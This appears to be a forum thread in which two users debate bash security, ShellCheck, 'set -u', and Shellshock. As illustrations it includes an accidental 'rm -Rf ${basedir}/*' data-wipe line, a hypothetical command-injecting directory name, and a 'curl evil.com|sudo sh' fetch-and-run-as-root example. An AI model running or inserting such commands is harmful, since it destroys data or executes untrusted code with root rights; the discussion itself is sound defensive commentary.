[LinuxBender]

if you want a secure shell don’t use bash

I do not expect a shell to be secure. In my opinion that is the job of mandatory access controls, sandboxes, chroot jails, setcap, posix permissions, etc... and of course the job of the script author.

I do however try to keep shell scripting done with some best practices to minimize mistakes and mistakenly executing the wrong resources. A good start is to use ShellCheck [1] available and a command line tool in most distro repositories. ShellCheck has corrected some of my old bad habits. In the cases where I disagree with ShellCheck findings, there are options that can be added as comments to scripts that will ignore specific checks.

Speaking of security and mistakes, one common mistake I see in scripts is to leave out "set -u" in bash scripts. I actually wish that were default and that one had to disable it when required and it is sometimes required. This would prevent many accidental incidents of data loss. e.g.

    rm -Rf ${basedir}/*  # yeah nobody should do this but it happens, sometimes with sudo.

If the variable basedir is not set, bash will interpret that as rm -Rf /* whereas with 'set -u' in place there will be an error and the script will exit. This is similar to one of the checks in Perl's taint mode.

[1] - https://www.shellcheck.net/

[rollcat]

> I do not expect a shell to be secure.

You should. The example with "rm -Rf" is a problem with ergonomics/usability; what definitely would be way more scary is e.g. if the shell had an arbitrary code execution vulnerability in its path processing code.

    $ /bin/sh

    $ cd /some/path+evilmagic+'echo pwned!'  # that's just a normal directory name, allowed by POSIX

    $ /bin/vulnsh  # prints "pwned!"

[LinuxBender]

Those are interesting theoretical examples of phishing or backdoors and they have probably occurred at some point. I've moved away from trying to mitigate theoretical threats and instead I prefer to focus on risk ranking by feasibility or probability based on the potential impact. I believe the onus is on me to review a script and understand it prior to execution and report malicious scripts.

If my job was to mitigate theoretical attacks then I would require everyone to run scripts in highly restricted sandboxes that log the obfuscated behavior. This is probably something that build automation systems should be doing regardless for all scripts and compiled code to detect things like backdoored NPM packages which is all the rage these days. I would also like to see multipurpose repository systems like Github and Gitlab perform these sandboxed tests, rating scripts and compiled code with behavioral risk scores.

I am mostly content with the current status of Bash security and the toggles it gives me to control behavior. There are some things I would prefer defaulted on but I understand why they do not.

[rollcat]

These concerns are not theoretical. Complex software has bugs, and Bash doesn't have a perfect track record. https://en.wikipedia.org/wiki/Shellshock_(software_bug)

While my path processing scenario is hypothetical, you shouldn't need additional sandboxing to merely browse the local filesystem. You should trust tar not to overwrite files outside cwd. You should trust ls not to execute arbitrary code when listing a directory. You should trust the TCP/IP stack not to cause a kernel panic when a malformed ping shows up at your NIC. There's a huuuge difference between that and "curl evil.com|sudo sh".